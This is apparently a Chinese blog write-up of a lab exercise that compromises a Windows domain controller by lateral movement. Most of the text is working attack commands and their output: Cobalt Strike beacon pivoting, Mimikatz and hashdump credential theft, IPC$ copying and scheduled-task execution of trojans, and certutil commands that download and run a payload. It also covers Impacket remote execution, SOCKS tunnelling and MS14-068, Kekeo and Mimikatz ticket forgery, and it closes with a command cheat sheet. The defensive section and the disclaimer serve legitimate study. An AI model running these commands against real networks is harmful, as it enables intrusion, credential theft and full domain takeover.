内网横向移动实验:从IPC到PTT的完整攻击链

一、内网横向移动概述与靶场环境

1.1 什么是横向移动

横向移动(Lateral Movement)是攻击者在已控制一台内网主机后,以此为"跳板",迁移并控制网络中其他主机的过程。其最终目的通常是窃取机密数据、控制关键资产,或扩大权限直至拿下整个内网域控。

典型的横向移动链路包括:边界突破 → 信息收集 → 权限提升 → 横向移动 → 拿下域控/核心服务器 → 权限维持 → 痕迹清理。

1.2 靶场环境说明

主机角色 IP地址 说明
攻击机(本机) 192.168.198.1 Windows物理机,运行CS客户端
CS服务端(Kali) 192.168.198.143 Teamserver,C2控制端
WebServer(跳板) 192.168.198.156(外网) 192.168.3.31(内网) 双网卡,唯一可出网主机,IIS站点
DC(域控) 192.168.3.21 域控制器,主机名 OWA2010CN-GOD
MARY-PC 192.168.3.25 域内客户端主机
域名 god.org

网络拓扑特点:WebServer 是唯一能访问外网的主机,内网其他主机(DC、MARY-PC 等)均无法直接出网,只能进行域内通信。所有内网主机由域控(DC)统一管理。

二、前置操作:信息收集与权限提升

2.1 上线 CS Beacon

首先通过 Web 漏洞(如文件上传、RCE 等)将 CS 生成的木马上传到 WebServer,执行后获得第一个 Beacon 会话。本次实验默认已取得 WebServer 的低权限用户 webadmin 会话。

2.2 判断域环境与定位域控

进入 Beacon 后,首先使用 net time /domain 判断是否存在域环境:

复制代码
beacon> shell net time /domain
[+] received output:
\\OWA2010CN-God.god.org 的当前时间是 2026/8/12 10:03:38

确认存在域 god.org 后,通过 ping 域名获取域控 IP:

复制代码
beacon> shell ping OWA2010CN-God.god.org -4 -n 1
[+] received output:
正在 Ping OWA2010CN-God.god.org [192.168.3.21] ...

这里 -4 强制使用 IPv4 解析,避免 IPv6 干扰;-n 1 仅发送一个探测包,减少网络痕迹。

2.3 内网端口扫描与凭据抓取

使用 CS 的端口扫描功能(或 net view)发现内网存活主机,扫描结果中 DC(192.168.3.21)开放了 445、135、88(Kerberos)等关键端口。在 Targets 视图中添加备注,方便后续识别:

图1:在 Targets 视图中为 DC(192.168.3.21)和 MARY-PC(192.168.3.25)添加角色备注,便于横向移动时快速定位目标。

提权至 SYSTEM 后,使用 hashdumpmimikatz 抓取凭据:

复制代码
beacon> hashdump
Administrator:500:aad3b435b51404ee...:ccef208c6485269c20db2cad21734fe7:::
web:1006:aad3b435b51404ee...:518b98ad4178a53695dc997aa02d455c:::

整理后的关键凭据:

账户 类型 凭证
GOD.ORG\Administrator 明文 Admin12345
GOD\Administrator NTLM Hash ccef208c6485269c20db2cad21734fe7
GOD\webadmin NTLM Hash 518b98ad4178a53695dc997aa02d455c
WEBSERVER\Administrator NTLM Hash 518b98ad4178a53695dc997aa02d455c

图2:使用 Mimikatz 和 hashdump 抓取到的域内凭据汇总,包含域管明文密码 Admin12345 以及多个 NTLM Hash。


三、IPC$ 共享横向移动(正向 / 反向)

3.1 IPC$ 连接的本质

IPC(Internet Process Connection)是 Windows 默认的匿名/认证管道共享,用于进程间通信。建立 IPC 连接后,可远程复制文件、创建计划任务、访问 C$ 管理共享等,是内网横向最基础的通道。

关键区分

  • shell dir \\owa2010cn-god\c$:瞬时权限探测,验证当前令牌是否能访问域控 C 盘。
  • shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator:持久认证绑定,在当前会话中建立一条复用管道,后续命令(copy、sc、schtasks)不再重复认证。

3.2 正向 TCP Beacon 完整流程

Step 1 :创建正向监听器,端口 4444(Bind 模式)。

Step 2 :生成木马 IPC4444.exe 并上传至 WebServer。

Step 3:建立 IPC 连接并复制木马到 DC:

复制代码
beacon> shell net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
beacon> shell copy C:\DcWeb\IPC4444.exe \\192.168.3.21\c$\Windows\Temp\IPC4444.exe
[+] 已复制 1 个文件。

Step 4:创建计划任务执行木马:

复制代码
beacon> shell net time
\\OWA2010CN-GOD 的当前时间是 2026/8/12 15:35:07
beacon> shell at \\192.168.3.21 15:43 c:\Windows\Temp\IPC4444.exe
[+] 新加了一项作业,其作业 ID = 1

Step 5:主动连接正向端口:

复制代码
beacon> connect 192.168.3.21 4444
[+] established link to child beacon: 192.168.3.21

图3:正向 IPC 连接成功后,DC(OWA2010CN-GOD)以 SYSTEM 权限上线,进程为 IPC4444.exe。

3.3 反向转发 Beacon(更隐蔽)

反向连接与正向流程类似,但监听器配置为"转发上线"(Pivot Listener),监听地址填写 WebServer 的内网 IP(192.168.3.31),端口自定义(如 5555)。木马执行后,目标机器主动回连跳板机,无需 connect 命令。

但实验中发现,若 WebServer 防火墙未放行 5555 端口,反向连接会失败:

图4:通过 netsh advfirewall 检查发现,入站规则中不存在 5555 端口的放行记录,导致反向连接失败。执行 netsh advfirewall firewall add rule name="Open5555" dir=in action=allow protocol=TCP localport=5555 添加规则后解决。

图5:防火墙放行后,反向转发木马(daye3.exe)成功上线,DC 再次获得 SYSTEM 权限的 Beacon。


四、Impacket 套件:无文件横向移动

4.1 Impacket 简介

Impacket 是基于 Python 的 Windows 域协议工具库,封装了 SMB、RPC、WMI、LDAP、Kerberos 等协议。支持明文密码、NTLM Hash、Kerberos 票据等多种认证方式,是内网渗透中实现"无文件横向"的首选工具集。

核心工具

工具名 原理 特点
atexec 远程创建计划任务执行命令 隐蔽性较好,需共享 ADMIN$
wmiexec 通过 WMI 执行命令 半交互式 shell,端口 135
psexec 创建系统服务执行命令 传统方式,日志较明显
smbexec 通过 SMB 共享半交互 shell 不创建服务,较隐蔽

4.2 EXE 版工具实战(上传至跳板机)

atexec.exe 上传至 WebServer,直接调用:

复制代码
beacon> shell atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
[+] received output:
nt authority\system

图6:atexec 执行时的典型回显,注意其会反复尝试读取 ADMIN$\Temp\*.tmp 文件。此机制源于 atexec 通过计划任务执行命令,并将输出重定向到临时文件后读取。

4.3 利用 certutil 远程下载木马

将木马放置于 WebServer 的 IIS 根目录(C:\inetpub\wwwroot\),使用 atexec 调用 certutil 下载并执行:

复制代码
beacon> shell atexec.exe god/administrator:Admin12345@192.168.3.21 "certutil.exe -urlcache -split -f http://192.168.3.31:80/daye3.exe fan.exe"
[+] CertUtil: -URLCache 命令成功完成。
beacon> shell atexec.exe god/administrator:Admin12345@192.168.3.21 "fan.exe"

注意:曾遇到 0x80190194 (HTTP 404) 错误,原因是木马误放在 C:\inetpub\ 而非 C:\inetpub\wwwroot\,移至正确目录后解决。

4.4 利用 SOCKS 代理本地调用 Impacket

在 WebServer 的 Beacon 中开启 SOCKS 代理:

复制代码
beacon> socks 1962 SOCKS5 enableNoAuth
[+] started SOCKS5 server on: 1962

在本地 Windows 使用 Proxifier 配置 SOCKS5 代理(192.168.198.143:1962),然后直接在本地 CMD 中运行 Impacket 工具:

复制代码
D:\tools> atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
nt authority\system

D:\tools> wmiexec.exe god/administrator:Admin12345@192.168.3.25 "hostname"
mary-PC

此方式实现了真正的"无文件落地",所有工具均在攻击机本地执行,流量通过 SOCKS 代理隧道转发。

4.5 CS Jump 一键横向(图形化)

在 Targets 视图中右键目标主机 → Jump → psexec,填写凭据后即可快速上线。

图7:通过 Jump 功能横向移动到 MARY-PC,获得 SYSTEM 权限的 Beacon,验证了凭据的有效性和横向链路的完整性。


五、PTT 票据传递(Kerberos 横向攻击)

5.1 Kerberos 与票据基础

Kerberos 是 Windows 域环境默认的身份认证协议。核心概念:

  • TGT(Ticket Granting Ticket):由 AS 发放,有效期默认 10 小时,存储在内存中。
  • ST(Service Ticket):由 TGS 发放,用于访问特定服务。
  • 黄金票据 :使用 krbtgt 账户的 NTLM Hash 伪造 TGT,可伪造任意域用户身份,权限极高。
  • 白银票据:使用服务账户的 NTLM Hash 伪造 ST,仅能访问特定服务。

5.2 方法一:MS14-068 漏洞生成票据

MS14-068 是 KDC 服务的高危漏洞,允许普通域用户伪造高权限 TGT。利用前提:域控未安装 KB3011780 补丁。

获取当前用户 SID

复制代码
beacon> shell whoami /user
god\webadmin S-1-5-21-1218902331-2157346161-1782232778-1132

生成伪造 TGT 票据(在本地通过 SOCKS 代理执行,避免上传工具):

复制代码
MS14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

执行后生成 TGT_webadmin@god.org.ccache 票据文件。

清除旧票据并注入

复制代码
beacon> shell klist purge
beacon> mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

验证权限

复制代码
beacon> shell dir \\OWA2010CN-God\c$
[+] 成功列出域控 C 盘目录

此时普通域用户 webadmin 的会话已具备域管访问权限。

5.3 方法二:Kekeo 生成票据

使用域管理员 NTLM Hash 生成 TGT 票据,不受 MS14-068 补丁影响:

复制代码
beacon> shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "test"
beacon> shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "test"

5.4 方法三:Mimikatz 导出内存票据复用

如果目标主机内存中存在未过期的域管理员登录票据,可直接导出复用:

复制代码
beacon> mimikatz sekurlsa::tickets /export
beacon> mimikatz kerberos::ptt "C:\Users\webadmin\Desktop\[0;3e4]-...kirbi"

六、Socks 代理与数据流向深度解析

在实验后期,我们使用 SOCKS 代理实现了"本机工具穿透内网"。这条链路的完整数据流向如下:

  • 发起端:本机(192.168.198.1)运行 Impacket 工具,产生访问 DC(192.168.3.21:445)的请求。
  • 拦截转发:Proxifier 拦截该进程流量,转发至本机 SOCKS 客户端端口(如 1962)。
  • C2 隧道:CS 客户端将 SOCKS 数据封装在 Beacon 的 HTTP 通信中,发送给 Kali Teamserver。
  • 跳板执行:Kali 将指令下发至 WebServer 的 Beacon,WebServer 以自身内网 IP(192.168.3.31)重新发起 TCP 连接至 DC(192.168.3.21)。
  • 响应回传:DC 的响应沿原路逆向返回至本机。

关键结论:DC 全程只感知到 WebServer 在与其通信,完全不知道攻击机的存在。SOCKS 代理不是漏洞利用,而是基于已有控制权的"合法"流量转发,防御难度远高于单纯的漏洞攻击。


七、实验排错记录(关键坑点与解决)

问题现象 原因 解决方案
atexec 报错 STATUS_OBJECT_NAME_NOT_FOUND 计划任务执行太快,临时输出文件尚未生成即被读取 连续执行 2~3 次命令,或改用 wmiexec
certutil 返回 0x80190194 木马文件未放在 IIS 正确根目录(wwwroot 而非 inetpub 将文件移至 C:\inetpub\wwwroot\
sc start 服务报 1053 SCM 服务超时机制(30 秒)强制终止了 Beacon 进程 改用计划任务(schtasks)或 WMI 直接启动
schtasks 远程创建报"拒绝访问" shell 派生子进程未继承 Kerberos 票据 使用 net use \\IP\ipc$ 建立 NTLM 认证管道后再执行
MS14-068 执行报 Error -3 from inflate PyInstaller 打包的 EXE 在低权限下解压依赖库失败 改用 SOCKS 代理在本地生成票据,或使用 Rubeus 工具

八、综合防御与安全开发思考

8.1 基础网络隔离

  • 网段分层隔离,禁止内网主机互通全部端口,仅开放业务必要端口(如 80、443)。
  • 关闭高危端口:135、139、445(SMB/IPC),或限制仅运维网段访问。
  • 域控单独安全网段,禁止业务主机直连 DC。

8.2 账号与凭据防护

  • 域管理员账号禁止登录普通业务主机,避免内存留存高权限票据/Hash。
  • 开启 LSA 保护(RunAsPPL),防御 Mimikatz 抓取凭据。
  • 强制复杂密码策略,定期轮换,禁止账号复用。

8.3 漏洞补丁与 Kerberos 加固

  • 域控全量修复 MS14-068、MS16-075 等历史提权漏洞。
  • 定期轮换 krbtgt 账户密码(建议每 180 天),使历史黄金票据失效。
  • 启用 Kerberos 票据审计,监控异常 TGT 请求和票据注入行为。

8.4 终端与日志审计

  • EDR 拦截 Impacket、Mimikatz、Kekeo 等渗透工具的执行。
  • 审计事件 ID 7045(服务创建)、4698(计划任务创建)、4624(登录)等关键日志。
  • 监控跨主机 SMB 文件复制、WMI 远程执行行为。

九、命令速查表

开放问题:在实际内网渗透中,如果域控打了所有补丁且无法通过 MS14-068 提权,你更倾向于使用哪种横向方式?是继续深挖 SMB 会话,还是转向 Kerberos 票据攻击?欢迎在评论区分享你的思路。

目的 命令示例 备注(原理 / 坑点)
判断域环境 shell net time /domain 回显域控主机名即存在域
定位域控 IP shell ping 域名 -4 -n 1 -4 强制 IPv4,-n 1 减少痕迹
建立 IPC$ 连接 net use \\IP\ipc$ "密码" /user:域\账号 持久认证,后续命令复用管道
复制文件到远程 copy 本地文件 \\IP\c$\路径\ 需先建立 IPC 或 C$ 连接
计划任务执行 (Win7) at \\IP 时间 木马路径 适用于 Windows 2012 之前
计划任务执行 (Win2012+) schtasks /create /s IP /ru SYSTEM /tn 任务 /tr 木马 /sc once /st 时间 /F 注意 /ru SYSTEM 指定权限
正向连接 Beacon connect IP 4444 对应 Bind 监听器端口
Impacket 明文执行 atexec 域/用户:密码@IP "whoami" 需上传 atexec.exe 至跳板
Impacket Hash 传递 atexec -hashes :NTLM 域/用户@IP "whoami" 无需明文密码
开启 SOCKS 代理 socks 端口 SOCKS5 enableNoAuth 在 Beacon 中执行
清除 Kerberos 票据 klist purge 注入新票据前建议执行
MS14-068 生成票据 MS14-068.exe -u 用户@域 -s SID -d DC_IP -p 密码 需域控未打补丁
Mimikatz 注入票据 mimikatz kerberos::ptc 票据.ccache ptc = Pass The Cache
Kekeo 生成 TGT kekeo "tgt::ask /user:用户 /domain:域 /ntlm:Hash" "test" 不受补丁限制

十、扩展链接

IPC连接原理与用法详解

https://blog.csdn.net/flyingleo1981/article/details/18763229

Impacket 套件详细介绍

https://blog.csdn.net/qq_18811919/article/details/129152861

在线生成 Windows 命令(certutil/powershell/bitsadmin)

https://forum.ywhack.com/bountytips.php?download

Python codecs 标准编码对照表(解码错误参考)

https://docs.python.org/3/library/codecs.html#standard-encodings

Kerberos 票据攻击原理及利用手法(黄金/白银票据)

https://blog.csdn.net/weixin_54902210/article/details/128240484

内网域环境渗透整体思路

https://blog.csdn.net/weixin_56537388/article/details/133235119

本次实验完整复现了从边界突破到域控全控的内网横向移动链路,涵盖了 IPC$ 共享、Impacket 套件、PTT 票据传递、SOCKS 代理等多种技术。

欢迎在评论区留言讨论,分享你在内网渗透实验中遇到的有趣问题或更优解法。本文仅供合法攻防演练学习,请勿用于未授权环境。

相关推荐
Bruce_Liuxiaowei18 小时前
基于微步在线威胁情报的公网 IP 攻击迹象监测:threatbook_query 脚本全解析与 BruceSec 平台整合实践
数据库·tcp/ip·安全·网络安全·智能体
小新讲网安1 天前
安全运营中心(SOC)建设实战:从SIEM到威胁狩猎全流程指南
网络·安全·web安全·网络安全·网安
Atomic121381 天前
Apache Shiro 核心漏洞与实战利用指南
web安全·网络安全·渗透测试
ze^02 天前
【软考信息安全】第2章 网络攻击原理与常用方法
网络·web安全·网络安全
数据知道2 天前
反序列化漏洞:Java、PHP、Python 三条线各讲透
java·网络·python·安全·网络安全·php
菩提小狗2 天前
每日安全情报报告 · 2026-08-12
网络安全·漏洞·cve·安全情报·每日安全
数据知道2 天前
XXE 漏洞深度实战:XML 外部实体攻击与 OOB 带外
xml·网络·安全·网络安全
Raas1002 天前
MAIGateway,魔芋企业级AI网关的安全基建化设计
大数据·人工智能·网关·网络安全·api网关·mai gateway·魔芋
笨鸟先飞,勤能补拙2 天前
AI Agent应用领域深度解析:从概念到落地的全维度审视
大数据·人工智能·python·物联网·安全·网络安全·github